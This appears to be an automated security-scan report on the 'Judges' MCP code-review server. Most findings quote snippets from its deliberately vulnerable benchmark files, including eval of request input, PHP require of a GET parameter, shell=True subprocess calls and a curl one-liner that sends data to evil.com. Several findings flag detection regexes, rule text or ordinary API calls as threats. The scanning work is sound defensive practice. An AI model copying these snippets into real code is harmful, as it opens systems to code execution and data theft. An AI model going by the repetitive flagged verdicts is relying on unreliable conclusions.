Judges MCP Server

In the server's implementation (`dist/evaluators/hallucination-detection.js:1155`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: "and configure your .npmrc to route scoped packages to your private registry.", reference: "Dep

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/evaluators/hallucination-detection.js

In the server's implementation (`dist/commands/benchmark-advanced.js:1096`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: o-eval const result = eval(req.body.expression); // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-advanced.js

In the server's implementation (`dist/commands/benchmark-ai-agents.js:714`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: "convenience" return eval(expression); } // AI-generated template renderer export function renderTemplate(template:

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-ai-agents.js

In the server's implementation (`dist/commands/benchmark-expanded-2.js:2592`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: T['formula']; $result = eval("return " . $formula . ";"); echo "Result: $result"; // Insecure file upload - no validati

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded-2.js

In the server's implementation (`dist/commands/benchmark-expanded.js:275`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: T['formula']; $result = eval("return " . $formula . ";"); echo "Result: $result"; ?>`, expectedRuleIds: ["CYBER-

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded.js

In the server's implementation (`dist/commands/benchmark-languages.js:455`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: arams[:expr] result = eval(expression) { result: result }.to_json end post '/transform' do code = JSON.parse(requ

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-languages.js

In the server's implementation (`dist/commands/benchmark-quality-ops.js:1266`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: o-eval const result = eval(req.body.expression); // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-quality-ops.js

In the server's implementation (`dist/commands/benchmark-security-deep.js:1468`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ry { const result = eval(expression); res.json({ result }); } catch (e) { res.status(400).json({ error: "I

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-security-deep.js

In the server's implementation (`dist/commands/benchmark.js:160`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ) => { const result = eval(req.body.expression); res.json({ result }); });`, expectedRuleIds: ["CYBER-001",

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark.js

In the server's implementation (`dist/commands/coach-mode.js:33`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: xplanation: "eval() and new Function() execute arbitrary code strings, enabling code injection attacks where attacker-co

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/coach-mode.js

In the server's implementation (`dist/commands/deprecated.js:21`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: 01. The new rule covers eval(), Function(), and other injection vectors.", }, { ruleId: "PERF-LOOP-001",

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/deprecated.js

In the server's implementation (`dist/commands/auto-fix.js:31`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ents", before: 'exec("git " + command)', after: 'execFile("git", [command])', language: "typescr

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/auto-fix.js

In the server's implementation (`dist/commands/batch-review.js:16`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ty: "critical", regex: /exec(?:Sync)?\s*\(\s*`[^`]*\$\{/ }, { name: "empty-catch", severity: "medium", regex: /catch

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/batch-review.js

In the server's implementation (`dist/commands/benchmark-advanced.js:1432`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: irectory): result = subprocess.run(["dir", "/B", directory], capture_output=True, text=True, shell=True) return

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-advanced.js

In the server's implementation (`dist/commands/benchmark-ai-agents.js:477`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ring) => { return execSync(command).toString(); }, }, { name: "read_file", description: "Read any

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-ai-agents.js

In the server's implementation (`dist/commands/benchmark-compliance-ethics.js:1838`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: port { execSync } from "child_process"; import fs from "fs"; export function getSystemInfo() { // Linux-specific /pro

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-compliance-ethics.js

In the server's implementation (`dist/commands/benchmark-coverage-gaps.js:807`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ": "node -e \\"require('child_process').exec('curl https://evil.com/collect?data='+encodeURIComponent(JSON.stringify({cw

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-coverage-gaps.js

In the server's implementation (`dist/commands/benchmark-expanded-2.js:3914`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: xec with user input exec(f"output = f'{greeting}, {name}!'") return locals().get("output", "") `, expect

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded-2.js

In the server's implementation (`dist/commands/benchmark-expanded.js:1754`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: tion deploy() { await exec(\`aws configure set aws_access_key_id \${DEPLOY_CONFIG.awsAccessKeyId}\`); await exec(\`d

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded.js

In the server's implementation (`dist/commands/benchmark-languages.js:379`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: id; $this->pdo->exec($sql); } public function deleteByName(string $name): int { $sql = "DELETE

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-languages.js

In the server's implementation (`dist/commands/benchmark-security-deep.js:934`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: Python subprocess with shell=True", language: "python", code: `import subprocess from flask import Flas

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-security-deep.js

In the server's implementation (`dist/commands/benchmark-advanced.js:366`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: tVisitedPages(), }; fetch("https://analytics.third-party.com/collect", { method: "POST", body: JSON.stringif

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-advanced.js

In the server's implementation (`dist/commands/benchmark-ai-agents.js:1121`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: it Promise.timeout( fetch("https://api.example.com/data"), 5000 ); // Promise.retry doesn't exist const r

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-ai-agents.js

In the server's implementation (`dist/commands/benchmark-compliance-ethics.js:1056`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: get_data(): resp = requests.get("https://api.example.com/data") return resp.json()`, expectedRuleIds: [

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-compliance-ethics.js

In the server's implementation (`dist/commands/benchmark-coverage-gaps.js:310`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: const tokenRes = await fetch("https://provider.com/oauth/token", { method: "POST", body: JSON.stringify({ code,

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-coverage-gaps.js

In the server's implementation (`dist/commands/benchmark-expanded-2.js:4827`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: const price = await fetch('https://api.pricing.com/widget').then(r => r.json()); assert(price.amount > 0); });

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded-2.js

In the server's implementation (`dist/commands/benchmark-expanded.js:1591`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: based analytics await fetch("https://analytics.us-east-1.amazonaws.com/ingest", { method: "POST", body: JSON.s

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded.js

In the server's implementation (`dist/commands/benchmark-infrastructure.js:537`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: const response = await fetch("https://payment-api.example.com/charge", { method: "POST", headers: { "Content-Ty

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-infrastructure.js

In the server's implementation (`dist/commands/benchmark-quality-ops.js:1887`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: tion syncExternal() { fetch("https://partner-api.com/sync").catch(() => {}); }`, expectedRuleIds: ["REL-001",

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-quality-ops.js

In the server's implementation (`dist/commands/benchmark-security-deep.js:1185`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: const response = await fetch("http://api.production.com/auth/login", { method: "POST", headers: { "Content-Type

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-security-deep.js

In the server's implementation (`dist/commands/benchmark.js:97`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: r_secret_password_123"; fetch("https://api.example.com", { headers: { Authorization: "Bearer " + API_KEY } });`,

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark.js

In the server's implementation (`dist/commands/commit-hygiene.js:22`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: y { const log = execSync(`git log --oneline -${count} --format="%H|%s"`, { encoding: "utf-8", timeout: 10000 });

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/commit-hygiene.js

In the server's implementation (`dist/commands/finding-trace.js:56`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: blameLines = execSync(`git blame --porcelain "${sourcePath}"`, { encoding: "utf-8" }).split("\n"); }

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/finding-trace.js

In the server's implementation (`dist/cli.js:701`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: const mod = await import(modulePath); await mod[fnName](argv); return; } // ─── List Comma

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/cli.js

In the server's implementation (`dist/commands/benchmark-security-deep.js:1355`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: dule = $_GET['module']; require($module); ?>`, expectedRuleIds: ["CYBER-001"], category: "injection",

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-security-deep.js

In the server's implementation (`dist/commands/design-audit.js:77`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: : `${unusedImportCount} import(s) may be unused — common AI-generation artifact`, }); } // 4. Pattern co

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/design-audit.js

In the server's implementation (`dist/config.js:574`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: const mod = (await import(resolvedSpec)); // Strategy 1: Full JudgesPlugin export (best — gets hooks, r

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/config.js